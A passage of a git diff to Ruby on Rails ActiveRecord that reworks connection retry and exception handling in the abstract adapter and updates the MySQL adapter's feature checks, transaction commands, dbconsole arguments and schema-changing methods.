+                # safely re-runnable: let's verify the connection to be sure
+                verify!
+              end
             else
-              Type::Decimal.new(precision: precision, scale: scale)
+              # We don't know whether the connection is okay, but it also doesn't matter:
+              # we wouldn't be able to reconnect anyway. We're just going to run our query
+              # and hope for the best.
+            end
+
+            begin
+              yield @raw_connection
+            rescue => original_exception
+              translated_exception = translate_exception_class(original_exception, nil, nil)
+              invalidate_transaction(translated_exception)
+              retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)
+
+              if !retry_deadline_exceeded && retries_available > 0
+                retries_available -= 1
+
+                if retryable_query_error?(translated_exception)
+                  backoff(connection_retries - retries_available)
+                  retry
+                elsif reconnectable && retryable_connection_error?(translated_exception)
+                  reconnect!(restore_transactions: true)
+                  # Only allowed to reconnect once, because reconnect! has its own retry
+                  # loop
+                  reconnectable = false
+                  retry
+                end
+              end
+
+              unless retryable_query_error?(translated_exception)
+                # Barring a known-retryable error inside the query (regardless of
+                # whether we were in a _position_ to retry it), we should infer that
+                # there's likely a real problem with the connection.
+                @last_activity = nil
+                @verified = false
+              end
+
+              raise translated_exception
+            ensure
+              dirty_current_transaction if materialize_transactions
             end
           end
         end
 
-        def reload_type_map
-          type_map.clear
-          initialize_type_map(type_map)
+        # Mark the connection as verified. Call this inside a
+        # `with_raw_connection` block only when the block is guaranteed to
+        # exercise the raw connection.
+        def verified!
+          @last_activity = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          @verified = true
         end
 
-        def register_class_with_limit(mapping, key, klass)
-          mapping.register_type(key) do |*args|
-            limit = extract_limit(args.last)
-            klass.new(limit: limit)
-          end
+        def retryable_connection_error?(exception)
+          (exception.is_a?(ConnectionNotEstablished) && !exception.is_a?(ConnectionNotDefined)) ||
+            exception.is_a?(ConnectionFailed)
         end
 
-        def register_class_with_precision(mapping, key, klass)
-          mapping.register_type(key) do |*args|
-            precision = extract_precision(args.last)
-            klass.new(precision: precision)
-          end
+        def invalidate_transaction(exception)
+          return unless exception.is_a?(TransactionRollbackError)
+          return unless savepoint_errors_invalidate_transactions?
+
+          current_transaction.invalidate!
         end
 
-        def extract_scale(sql_type)
-          case sql_type
-          when /\((\d+)\)/ then 0
-          when /\((\d+)(,(\d+))\)/ then $3.to_i
-          end
+        def retryable_query_error?(exception)
+          # We definitely can't retry if we were inside an invalidated transaction.
+          return false if current_transaction.invalidated?
+
+          exception.is_a?(Deadlocked) || exception.is_a?(LockWaitTimeout)
+        end
+
+        def backoff(counter)
+          sleep 0.1 * counter
+        end
+
+        def reconnect
+          raise NotImplementedError.new("#{self.class} should define `reconnect` to implement adapter-specific logic for reconnecting to the database")
+        end
+
+        # Returns a raw connection for internal use with methods that are known
+        # to both be thread-safe and not rely upon actual server communication.
+        # This is useful for e.g. string escaping methods.
+        def any_raw_connection
+          @raw_connection || valid_raw_connection
         end
 
-        def extract_precision(sql_type)
-          $1.to_i if sql_type =~ /\((\d+)(,\d+)?\)/
+        # Similar to any_raw_connection, but ensures it is validated and
+        # connected. Any method called on this result still needs to be
+        # independently thread-safe, so it probably shouldn't talk to the
+        # server... but some drivers fail if they know the connection has gone
+        # away.
+        def valid_raw_connection
+          (@verified && @raw_connection) ||
+            # `allow_retry: false`, to force verification: the block won't
+            # raise, so a retry wouldn't help us get the valid connection we
+            # need.
+            with_raw_connection(allow_retry: false, materialize_transactions: false) { |conn| conn }
         end
 
-        def extract_limit(sql_type)
-          case sql_type
-          when /^bigint/i
-            8
-          when /\((.*)\)/
-            $1.to_i
+        def extended_type_map_key
+          if @default_timezone
+            { default_timezone: @default_timezone }
           end
         end
 
-        def translate_exception_class(e, sql)
-          begin
-            message = "#{e.class.name}: #{e.message}: #{sql}"
-          rescue Encoding::CompatibilityError
-            message = "#{e.class.name}: #{e.message.force_encoding sql.encoding}: #{sql}"
+        def type_map
+          if key = extended_type_map_key
+            self.class::EXTENDED_TYPE_MAPS.compute_if_absent(key) do
+              self.class.extended_type_map(**key)
+            end
+          else
+            self.class::TYPE_MAP
           end
+        end
+
+        def translate_exception_class(native_error, sql, binds)
+          return native_error if native_error.is_a?(ActiveRecordError)
+
+          message = "#{native_error.class.name}: #{native_error.message}"
 
-          exception = translate_exception(e, message)
-          exception.set_backtrace e.backtrace
-          exception
+          active_record_error = translate_exception(
+            native_error, message: message, sql: sql, binds: binds
+          )
+          active_record_error.set_backtrace(native_error.backtrace)
+          active_record_error
         end
 
-        def log(sql, name = "SQL", binds = [], type_casted_binds = [], statement_name = nil) # :doc:
-          @instrumenter.instrument(
-            "sql.active_record",
-            sql:               sql,
-            name:              name,
-            binds:             binds,
-            type_casted_binds: type_casted_binds,
-            statement_name:    statement_name,
-            connection_id:     object_id) { yield }
-        rescue => e
-          raise translate_exception_class(e, sql)
+        def log(intent_or_sql, name = "SQL", binds = [], type_casted_binds = [], async: false, allow_retry: false, &block)
+          if intent_or_sql.is_a?(QueryIntent)
+            intent = intent_or_sql
+
+            instrumenter.instrument(
+              "sql.active_record",
+              sql:               intent.processed_sql,
+              name:              intent.name,
+              binds:             intent.binds,
+              type_casted_binds: intent.type_casted_binds,
+              async:             intent.ran_async,
+              allow_retry:       intent.allow_retry,
+              connection:        self,
+              transaction:       current_transaction.user_transaction.presence,
+              affected_rows:     0,
+              row_count:         0,
+              &block
+            )
+          else
+            ActiveRecord.deprecator.warn(<<-MSG.squish)
+              Passing SQL strings to `log` is deprecated and will stop working in Rails 8.2.
+              Please pass a `QueryIntent` object instead.
+            MSG
+
+            sql = intent_or_sql
+
+            instrumenter.instrument(
+              "sql.active_record",
+              sql:               sql,
+              name:              name,
+              binds:             binds,
+              type_casted_binds: type_casted_binds,
+              async:             async,
+              allow_retry:       allow_retry,
+              connection:        self,
+              transaction:       current_transaction.user_transaction.presence,
+              affected_rows:     0,
+              row_count:         0,
+              &block
+            )
+          end
+        rescue ActiveRecord::StatementInvalid => ex
+          if intent
+            raise ex.set_query(intent.processed_sql, intent.binds)
+          else
+            raise ex.set_query(sql, binds)
+          end
+        end
+
+        def instrumenter # :nodoc:
+          ActiveSupport::IsolatedExecutionState[:active_record_instrumenter] ||= ActiveSupport::Notifications.instrumenter
         end
 
-        def translate_exception(exception, message)
+        def translate_exception(exception, message:, sql:, binds:)
           # override in derived class
           case exception
-          when RuntimeError
+          when RuntimeError, ActiveRecord::ActiveRecordError
             exception
           else
-            ActiveRecord::StatementInvalid.new(message)
+            ActiveRecord::StatementInvalid.new(message, sql: sql, binds: binds, connection_pool: @pool)
           end
         end
 
-        def without_prepared_statement?(binds)
-          !prepared_statements || binds.empty?
-        end
-
         def column_for(table_name, column_name)
           column_name = column_name.to_s
           columns(table_name).detect { |c| c.name == column_name } ||
             raise(ActiveRecordError, "No such column: #{table_name}.#{column_name}")
         end
+
+        def column_for_attribute(attribute)
+          table_name = attribute.relation.name
+          schema_cache.columns_hash(table_name)[attribute.name.to_s]
+        end
+
+        def collector
+          if prepared_statements
+            Arel::Collectors::Composite.new(
+              Arel::Collectors::SQLString.new,
+              Arel::Collectors::Bind.new,
+            )
+          else
+            Arel::Collectors::SubstituteBinds.new(
+              self,
+              Arel::Collectors::SQLString.new,
+            )
+          end
+        end
+
+        def arel_visitor
+          Arel::Visitors::ToSql.new(self)
+        end
+
+        def build_statement_pool
+        end
+
+        # Builds the result object.
+        #
+        # This is an internal hook to make possible connection adapters to build
+        # custom result objects with connection-specific data.
+        def build_result(columns:, rows:, column_types: nil)
+          ActiveRecord::Result.new(columns, rows, column_types)
+        end
+
+        # Perform any necessary initialization upon the newly-established
+        # @raw_connection -- this is the place to modify the adapter's
+        # connection settings, run queries to configure any application-global
+        # "session" variables, etc.
+        #
+        # Implementations may assume this method will only be called while
+        # holding @lock (or from #initialize).
+        def configure_connection
+          check_version
+        end
+
+        def attempt_configure_connection
+          yield
+        rescue Exception # Need to handle things such as Timeout::ExitException
+          disconnect!
+          raise
+        end
+
+        def default_prepared_statements
+          true
+        end
+
+        def warning_ignored?(warning)
+          ActiveRecord.db_warnings_ignore.any? do |warning_matcher|
+            warning.message.match?(warning_matcher) || warning.code.to_s.match?(warning_matcher)
+          end
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index 14269b457081d..c8161d664536c 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -1,32 +1,23 @@
+# frozen_string_literal: true
+
 require "active_record/connection_adapters/abstract_adapter"
 require "active_record/connection_adapters/statement_pool"
 require "active_record/connection_adapters/mysql/column"
+require "active_record/connection_adapters/mysql/database_statements"
 require "active_record/connection_adapters/mysql/explain_pretty_printer"
 require "active_record/connection_adapters/mysql/quoting"
 require "active_record/connection_adapters/mysql/schema_creation"
 require "active_record/connection_adapters/mysql/schema_definitions"
 require "active_record/connection_adapters/mysql/schema_dumper"
+require "active_record/connection_adapters/mysql/schema_statements"
 require "active_record/connection_adapters/mysql/type_metadata"
 
-require "active_support/core_ext/string/strip"
-
 module ActiveRecord
   module ConnectionAdapters
     class AbstractMysqlAdapter < AbstractAdapter
+      include MySQL::DatabaseStatements
       include MySQL::Quoting
-      include MySQL::ColumnDumper
-
-      def update_table_definition(table_name, base) # :nodoc:
-        MySQL::Table.new(table_name, base)
-      end
-
-      def schema_creation # :nodoc:
-        MySQL::SchemaCreation.new(self)
-      end
-
-      def arel_visitor # :nodoc:
-        Arel::Visitors::MySQL.new(self)
-      end
+      include MySQL::SchemaStatements
 
       ##
       # :singleton-method:
@@ -35,81 +26,94 @@ def arel_visitor # :nodoc:
       # to your application.rb file:
       #
       #   ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = false
-      class_attribute :emulate_booleans
-      self.emulate_booleans = true
+      class_attribute :emulate_booleans, default: true
 
       NATIVE_DATABASE_TYPES = {
         primary_key: "bigint auto_increment PRIMARY KEY",
         string:      { name: "varchar", limit: 255 },
-        text:        { name: "text", limit: 65535 },
+        text:        { name: "text" },
         integer:     { name: "int", limit: 4 },
-        float:       { name: "float" },
+        bigint:      { name: "bigint" },
+        float:       { name: "float", limit: 24 },
         decimal:     { name: "decimal" },
         datetime:    { name: "datetime" },
+        timestamp:   { name: "timestamp" },
         time:        { name: "time" },
         date:        { name: "date" },
-        binary:      { name: "blob", limit: 65535 },
-        boolean:     { name: "tinyint", limit: 1 },
+        binary:      { name: "blob" },
+        blob:        { name: "blob" },
+        boolean:     { name: "boolean" },
         json:        { name: "json" },
       }
 
-      INDEX_TYPES  = [:fulltext, :spatial]
-      INDEX_USINGS = [:btree, :hash]
-
-      class StatementPool < ConnectionAdapters::StatementPool
-        private def dealloc(stmt)
-          stmt[:stmt].close
-        end
+      class StatementPool < ConnectionAdapters::StatementPool # :nodoc:
+        private
+          def dealloc(stmt)
+            stmt.close
+          end
       end
 
-      def initialize(connection, logger, connection_options, config)
-        super(connection, logger, config)
+      class << self
+        def dbconsole(config, options = {})
+          mysql_config = config.configuration_hash
+
+          args = {
+            host: "--host",
+            port: "--port",
+            socket: "--socket",
+            username: "--user",
+            encoding: "--default-character-set",
+            sslca: "--ssl-ca",
+            sslcert: "--ssl-cert",
+            sslcapath: "--ssl-capath",
+            sslcipher: "--ssl-cipher",
+            sslkey: "--ssl-key",
+            ssl_mode: "--ssl-mode"
+          }.filter_map { |opt, arg| "#{arg}=#{mysql_config[opt]}" if mysql_config[opt] }
+
+          if mysql_config[:password] && options[:include_password]
+            args << "--password=#{mysql_config[:password]}"
+          elsif mysql_config[:password] && !mysql_config[:password].to_s.empty?
+            args << "-p"
+          end
 
-        @statements = StatementPool.new(self.class.type_cast_config_to_integer(config[:statement_limit]))
+          args << config.database
 
-        if version < "5.1.10"
-          raise "Your version of MySQL (#{full_version.match(/^\d+\.\d+\.\d+/)[0]}) is too old. Active Record supports MySQL >= 5.1.10."
+          find_cmd_and_exec(ActiveRecord.database_cli[:mysql], *args)
         end
-      end
-
-      CHARSETS_OF_4BYTES_MAXLEN = ["utf8mb4", "utf16", "utf16le", "utf32"]
 
-      def internal_string_options_for_primary_key # :nodoc:
-        super.tap { |options|
-          options[:collation] = collation.sub(/\A[^_]+/, "utf8") if CHARSETS_OF_4BYTES_MAXLEN.include?(charset)
-        }
+        def native_database_types # :nodoc:
+          NATIVE_DATABASE_TYPES
+        end
       end
 
-      def version #:nodoc:
-        @version ||= Version.new(full_version.match(/^\d+\.\d+\.\d+/)[0])
+      def get_database_version # :nodoc:
+        full_version_string = get_full_version
+        version_string = version_string(full_version_string)
+        Version.new(version_string, full_version_string)
       end
 
       def mariadb? # :nodoc:
         /mariadb/i.match?(full_version)
       end
 
-      # Returns true, since this connection adapter supports migrations.
-      def supports_migrations?
+      def supports_bulk_alter?
         true
       end
 
-      def supports_bulk_alter? #:nodoc:
-        true
+      def supports_index_sort_order?
+        mariadb? ? database_version >= "10.8.1" : database_version >= "8.0.1"
       end
 
-      # Returns true, since this connection adapter supports prepared statement
-      # caching.
-      def supports_statement_cache?
-        true
+      def supports_expression_index?
+        !mariadb? && database_version >= "8.0.13"
       end
 
-      # Technically MySQL allows to create indexes with the sort order syntax
-      # but at the moment (5.5) it doesn't yet implement them
-      def supports_index_sort_order?
+      def supports_transaction_isolation?
         true
       end
 
-      def supports_transaction_isolation?
+      def supports_restart_db_transaction?
         true
       end
 
@@ -125,23 +129,36 @@ def supports_foreign_keys?
         true
       end
 
+      def supports_check_constraints?
+        if mariadb?
+          database_version >= "10.3.10" || (database_version < "10.3" && database_version >= "10.2.22")
+        else
+          database_version >= "8.0.16"
+        end
+      end
+
       def supports_views?
         true
       end
 
       def supports_datetime_with_precision?
-        if mariadb?
-          version >= "5.3.0"
-        else
-          version >= "5.6.4"
-        end
+        true
       end
 
       def supports_virtual_columns?
+        mariadb? || database_version >= "5.7.5"
+      end
+
+      # See https://dev.mysql.com/doc/refman/en/optimizer-hints.html for more details.
+      def supports_optimizer_hints?
+        !mariadb? && database_version >= "5.7.7"
+      end
+
+      def supports_common_table_expressions?
         if mariadb?
-          version >= "5.2.0"
+          database_version >= "10.2.1"
         else
-          version >= "5.7.5"
+          database_version >= "8.0.1"
         end
       end
 
@@ -149,32 +166,47 @@ def supports_advisory_locks?
         true
       end
 
-      def get_advisory_lock(lock_name, timeout = 0) # :nodoc:
-        select_value("SELECT GET_LOCK(#{quote(lock_name)}, #{timeout})") == 1
+      def supports_insert_on_duplicate_skip?
+        true
       end
 
-      def release_advisory_lock(lock_name) # :nodoc:
-        select_value("SELECT RELEASE_LOCK(#{quote(lock_name)})") == 1
+      def supports_insert_on_duplicate_update?
+        true
       end
 
-      def native_database_types
-        NATIVE_DATABASE_TYPES
+      def supports_insert_returning?
+        mariadb? && database_version >= "10.5.0"
       end
 
-      def index_algorithms
-        { default: "ALGORITHM = DEFAULT", copy: "ALGORITHM = COPY", inplace: "ALGORITHM = INPLACE" }
+      def return_value_after_insert?(column) # :nodoc:
+        supports_insert_returning? ? column.auto_populated? : column.auto_increment?
       end
 
-      # HELPER METHODS ===========================================
+      # See https://dev.mysql.com/doc/refman/8.0/en/invisible-indexes.html for more details on MySQL feature.
+      # See https://mariadb.com/kb/en/ignored-indexes/ for more details on the MariaDB feature.
+      def supports_disabling_indexes?
+        if mariadb?
+          database_version >= "10.6.0"
+        else
+          database_version >= "8.0.0"
+        end
+      end
 
-      # The two drivers have slightly different ways of yielding hashes of results, so
-      # this method must be implemented to provide a uniform interface.
-      def each_hash(result) # :nodoc:
-        raise NotImplementedError
+      def get_advisory_lock(lock_name, timeout = 0) # :nodoc:
+        query_value("SELECT GET_LOCK(#{quote(lock_name.to_s)}, #{timeout})", nil, materialize_transactions: true) == 1
       end
 
-      def new_column(*args) #:nodoc:
-        MySQL::Column.new(*args)
+      def release_advisory_lock(lock_name) # :nodoc:
+        query_value("SELECT RELEASE_LOCK(#{quote(lock_name.to_s)})", nil, materialize_transactions: true) == 1
+      end
+
+      def index_algorithms
+        {
+          default: "ALGORITHM = DEFAULT",
+          copy:    "ALGORITHM = COPY",
+          inplace: "ALGORITHM = INPLACE",
+          instant: "ALGORITHM = INSTANT",
+        }
       end
 
       # Must return the MySQL error number from the exception, if the exception has an
@@ -185,84 +217,49 @@ def error_number(exception) # :nodoc:
 
       # REFERENTIAL INTEGRITY ====================================
 
-      def disable_referential_integrity #:nodoc:
-        old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
+      def disable_referential_integrity # :nodoc:
+        old = query_value("SELECT @@FOREIGN_KEY_CHECKS")
 
         begin
           update("SET FOREIGN_KEY_CHECKS = 0")
           yield
         ensure
-          update("SET FOREIGN_KEY_CHECKS = #{old}")
+          update("SET FOREIGN_KEY_CHECKS = #{old}") if active?
         end
       end
 
-      # CONNECTION MANAGEMENT ====================================
-
-      # Clears the prepared statements cache.
-      def clear_cache!
-        reload_type_map
-        @statements.clear
-      end
-
       #--
       # DATABASE STATEMENTS ======================================
       #++
 
-      def explain(arel, binds = [])
-        sql     = "EXPLAIN #{to_sql(arel, binds)}"
-        start   = Time.now
-        result  = exec_query(sql, "EXPLAIN", binds)
-        elapsed = Time.now - start
-
-        MySQL::ExplainPrettyPrinter.new.pp(result, elapsed)
-      end
-
-      # Executes the SQL statement in the context of this connection.
-      def execute(sql, name = nil)
-        log(sql, name) do
-          ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-            @connection.query(sql)
-          end
-        end
+      def begin_db_transaction # :nodoc:
+        query_command("BEGIN", "TRANSACTION", allow_retry: true, materialize_transactions: false)
       end
 
-      # Mysql2Adapter doesn't have to free a result after using it, but we use this method
-      # to write stuff in an abstract way without concerning ourselves about whether it
-      # needs to be explicitly freed or not.
-      def execute_and_free(sql, name = nil) # :nodoc:
-        yield execute(sql, name)
+      def begin_isolated_db_transaction(isolation) # :nodoc:
+        # From MySQL manual: The [SET TRANSACTION] statement applies only to the next single transaction performed within the session.
+        # So we don't need to implement #reset_isolation_level
+        execute_batch(
+          ["SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}", "BEGIN"],
+          "TRANSACTION",
+          allow_retry: true,
+          materialize_transactions: false,
+        )
       end
 
-      def begin_db_transaction
-        execute "BEGIN"
+      def commit_db_transaction # :nodoc:
+        query_command("COMMIT", "TRANSACTION", allow_retry: false, materialize_transactions: true)
       end
 
-      def begin_isolated_db_transaction(isolation)
-        execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
-        begin_db_transaction
+      def exec_rollback_db_transaction # :nodoc:
+        query_command("ROLLBACK", "TRANSACTION", allow_retry: false, materialize_transactions: true)
       end
 
-      def commit_db_transaction #:nodoc:
-        execute "COMMIT"
+      def exec_restart_db_transaction # :nodoc:
+        query_command("ROLLBACK AND CHAIN", "TRANSACTION", allow_retry: false, materialize_transactions: true)
       end
 
-      def exec_rollback_db_transaction #:nodoc:
-        execute "ROLLBACK"
-      end
-
-      # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
-      # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
-      # these, we must use a subquery.
-      def join_to_update(update, select, key) # :nodoc:
-        if select.limit || select.offset || select.orders.any?
-          super
-        else
-          update.table select.source
-          update.wheres = select.constraints
-        end
-      end
-
-      def empty_insert_statement_value
+      def empty_insert_statement_value(primary_key = nil) # :nodoc:
         "VALUES ()"
       end
 
@@ -278,7 +275,7 @@ def recreate_database(name, options = {})
       end
 
       # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
-      # Charset defaults to utf8.
+      # Charset defaults to utf8mb4.
       #
       # Example:
       #   create_database 'charset_test', charset: 'latin1', collation: 'latin1_bin'
@@ -286,9 +283,13 @@ def recreate_database(name, options = {})
       #   create_database 'matt_development', charset: :big5
       def create_database(name, options = {})
         if options[:collation]
-          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset] || 'utf8')} COLLATE #{quote_table_name(options[:collation])}"
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT COLLATE #{quote_table_name(options[:collation])}"
+        elsif options[:charset]
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset])}"
+        elsif row_format_dynamic_by_default?
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET `utf8mb4`"
         else
-          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset] || 'utf8')}"
+          raise "Configure a supported :charset and ensure innodb_large_prefix is enabled to support indexes on varchar(255) string columns."
         end
       end
 
@@ -296,12 +297,12 @@ def create_database(name, options = {})
       #
       # Example:
       #   drop_database('sebastian_development')
-      def drop_database(name) #:nodoc:
+      def drop_database(name) # :nodoc:
         execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
       end
 
       def current_database
-        select_value "SELECT DATABASE() as db"
+        query_value("SELECT database()")
       end
 
       # Returns the database character set.
@@ -314,141 +315,36 @@ def collation
         show_variable "collation_database"
       end
 
-      def tables # :nodoc:
-        sql = "SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'"
-        sql << " AND table_schema = #{quote(@config[:database])}"
-
-        select_values(sql, "SCHEMA")
-      end
-
-      def views # :nodoc:
-        select_values("SHOW FULL TABLES WHERE table_type = 'VIEW'", "SCHEMA")
-      end
-
-      def data_sources # :nodoc:
-        sql = "SELECT table_name FROM information_schema.tables "
-        sql << "WHERE table_schema = #{quote(@config[:database])}"
-
-        select_values(sql, "SCHEMA")
-      end
-
-      def table_exists?(table_name) # :nodoc:
-        return false unless table_name.present?
-
-        schema, name = extract_schema_qualified_name(table_name)
-
-        sql = "SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'"
-        sql << " AND table_schema = #{quote(schema)} AND table_name = #{quote(name)}"
-
-        select_values(sql, "SCHEMA").any?
-      end
-
-      def data_source_exists?(table_name) # :nodoc:
-        return false unless table_name.present?
-
-        schema, name = extract_schema_qualified_name(table_name)
-
-        sql = "SELECT table_name FROM information_schema.tables "
-        sql << "WHERE table_schema = #{quote(schema)} AND table_name = #{quote(name)}"
-
-        select_values(sql, "SCHEMA").any?
-      end
-
-      def view_exists?(view_name) # :nodoc:
-        return false unless view_name.present?
-
-        schema, name = extract_schema_qualified_name(view_name)
-
-        sql = "SELECT table_name FROM information_schema.tables WHERE table_type = 'VIEW'"
-        sql << " AND table_schema = #{quote(schema)} AND table_name = #{quote(name)}"
-
-        select_values(sql, "SCHEMA").any?
-      end
-
-      def truncate(table_name, name = nil)
-        execute "TRUNCATE TABLE #{quote_table_name(table_name)}", name
-      end
-
-      # Returns an array of indexes for the given table.
-      def indexes(table_name, name = nil) #:nodoc:
-        if name
-          ActiveSupport::Deprecation.warn(<<-MSG.squish)
-            Passing name to #indexes is deprecated without replacement.
-          MSG
-        end
-
-        indexes = []
-        current_index = nil
-        execute_and_free("SHOW KEYS FROM #{quote_table_name(table_name)}", "SCHEMA") do |result|
-          each_hash(result) do |row|
-            if current_index != row[:Key_name]
-              next if row[:Key_name] == "PRIMARY" # skip the primary key
-              current_index = row[:Key_name]
-
-              mysql_index_type = row[:Index_type].downcase.to_sym
-              index_type  = INDEX_TYPES.include?(mysql_index_type)  ? mysql_index_type : nil
-              index_using = INDEX_USINGS.include?(mysql_index_type) ? mysql_index_type : nil
-              indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], {}, nil, nil, index_type, index_using, row[:Index_comment].presence)
-            end
-
-            indexes.last.columns << row[:Column_name]
-            indexes.last.lengths.merge!(row[:Column_name] => row[:Sub_part].to_i) if row[:Sub_part]
-          end
-        end
-
-        indexes
-      end
-
-      def new_column_from_field(table_name, field) # :nodoc:
-        type_metadata = fetch_type_metadata(field[:Type], field[:Extra])
-        if type_metadata.type == :datetime && field[:Default] == "CURRENT_TIMESTAMP"
-          default, default_function = nil, field[:Default]
-        else
-          default, default_function = field[:Default], nil
-        end
-        new_column(field[:Field], default, type_metadata, field[:Null] == "YES", table_name, default_function, field[:Collation], comment: field[:Comment].presence)
-      end
-
       def table_comment(table_name) # :nodoc:
-        schema, name = extract_schema_qualified_name(table_name)
+        scope = quoted_scope(table_name)
 
-        select_value(<<-SQL.strip_heredoc, "SCHEMA")
+        query_value(<<~SQL).presence
           SELECT table_comment
           FROM information_schema.tables
-          WHERE table_schema = #{quote(schema)}
-            AND table_name = #{quote(name)}
+          WHERE table_schema = #{scope[:schema]}
+            AND table_name = #{scope[:name]}
         SQL
       end
 
-      def create_table(table_name, **options) #:nodoc:
-        super(table_name, options: "ENGINE=InnoDB", **options)
-      end
-
-      def bulk_change_table(table_name, operations) #:nodoc:
-        sqls = operations.flat_map do |command, args|
-          table, arguments = args.shift, args
-          method = :"#{command}_sql"
-
-          if respond_to?(method, true)
-            send(method, table, *arguments)
-          else
-            raise "Unknown method called : #{method}(#{arguments.inspect})"
-          end
-        end.join(", ")
-
-        execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
+      def change_table_comment(table_name, comment_or_changes) # :nodoc:
+        comment = extract_new_comment_value(comment_or_changes)
+        comment = "" if comment.nil?
+        execute("ALTER TABLE #{quote_table_name(table_name)} COMMENT #{quote(comment)}")
       end
 
       # Renames a table.
       #
       # Example:
       #   rename_table('octopuses', 'octopi')
-      def rename_table(table_name, new_name)
+      def rename_table(table_name, new_name, **options)
+        validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
+        schema_cache.clear_data_source_cache!(table_name.to_s)
+        schema_cache.clear_data_source_cache!(new_name.to_s)
         execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
-        rename_table_indexes(table_name, new_name)
+        rename_table_indexes(table_name, new_name, **options)
       end
 
-      # Drops a table from the database.
+      # Drops a table or tables from the database.
       #
       # [<tt>:force</tt>]
       #   Set to +:cascade+ to drop dependent objects as well.
@@ -462,9 +358,10 @@ def rename_table(table_name, new_name)
       #
       # Although this command ignores most +options+ and the block if one is given,
       # it can be helpful to provide these in a migration's +change+ method so it can be reverted.
-      # In that case, +options+ and the block will be used by create_table.
-      def drop_table(table_name, options = {})
-        execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+      # In that case, +options+ and the block will be used by #create_table except if you provide more than one table which is not supported.
+      def drop_table(*table_names, **options)
+        table_names.each { |table_name| schema_cache.clear_data_source_cache!(table_name.to_s) }
+        execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{table_names.map { |table_name| quote_table_name(table_name) }.join(', ')}#{' CASCADE' if options[:force] == :cascade}"
       end
 
       def rename_index(table_name, old_name, new_name)
@@ -477,35 +374,113 @@ def rename_index(table_name, old_name, new_name)
         end
       end
 
-      def change_column_default(table_name, column_name, default_or_changes) #:nodoc:
-        default = extract_new_default_value(default_or_changes)
-        column = column_for(table_name, column_name)
-        change_column table_name, column_name, column.sql_type, default: default
+      def change_column_default(table_name, column_name, default_or_changes) # :nodoc:
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{change_column_default_for_alter(table_name, column_name, default_or_changes)}"
       end
 
-      def change_column_null(table_name, column_name, null, default = nil) #:nodoc:
+      def build_change_column_default_definition(table_name, column_name, default_or_changes) # :nodoc:
         column = column_for(table_name, column_name)
+        return unless column
+
+        default = extract_new_default_value(default_or_changes)
+        ChangeColumnDefaultDefinition.new(column, default)
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil) # :nodoc:
+        validate_change_column_null_argument!(null)
 
         unless null || default.nil?
           execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
         end
 
-        change_column table_name, column_name, column.sql_type, null: null
+        change_column table_name, column_name, nil, null: null
+      end
+
+      def change_column_comment(table_name, column_name, comment_or_changes) # :nodoc:
+        comment = extract_new_comment_value(comment_or_changes)
+        change_column table_name, column_name, nil, comment: comment
       end
 
-      def change_column(table_name, column_name, type, options = {}) #:nodoc:
-        execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}")
+      def change_column(table_name, column_name, type, **options) # :nodoc:
+        execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_for_alter(table_name, column_name, type, **options)}")
       end
 
-      def rename_column(table_name, column_name, new_column_name) #:nodoc:
-        execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
+      # Builds a ChangeColumnDefinition object.
+      #
+      # This definition object contains information about the column change that would occur
+      # if the same arguments were passed to #change_column. See #change_column for information about
+      # passing a +table_name+, +column_name+, +type+ and other options that can be passed.
+      def build_change_column_definition(table_name, column_name, type, **options) # :nodoc:
+        column = column_for(table_name, column_name)
+        type ||= column.sql_type
+
+        unless options.key?(:default)
+          options[:default] = if column.default_function
+            -> { column.default_function }
+          else
+            column.default
+          end
+        end
+
+        unless options.key?(:null)
+          options[:null] = column.null
+        end
+
+        unless options.key?(:comment)
+          options[:comment] = column.comment
+        end
+
+        if options[:collation] == :no_collation
+          options.delete(:collation)
+        else
+          options[:collation] ||= column.collation if text_type?(type)
+        end
+
+        unless options.key?(:auto_increment)
+          options[:auto_increment] = column.auto_increment?
+        end
+
+        td = create_table_definition(table_name)
+        cd = td.new_column_definition(column.name, type, **options)
+        ChangeColumnDefinition.new(cd, column.name)
+      end
+
+      def rename_column(table_name, column_name, new_column_name) # :nodoc:
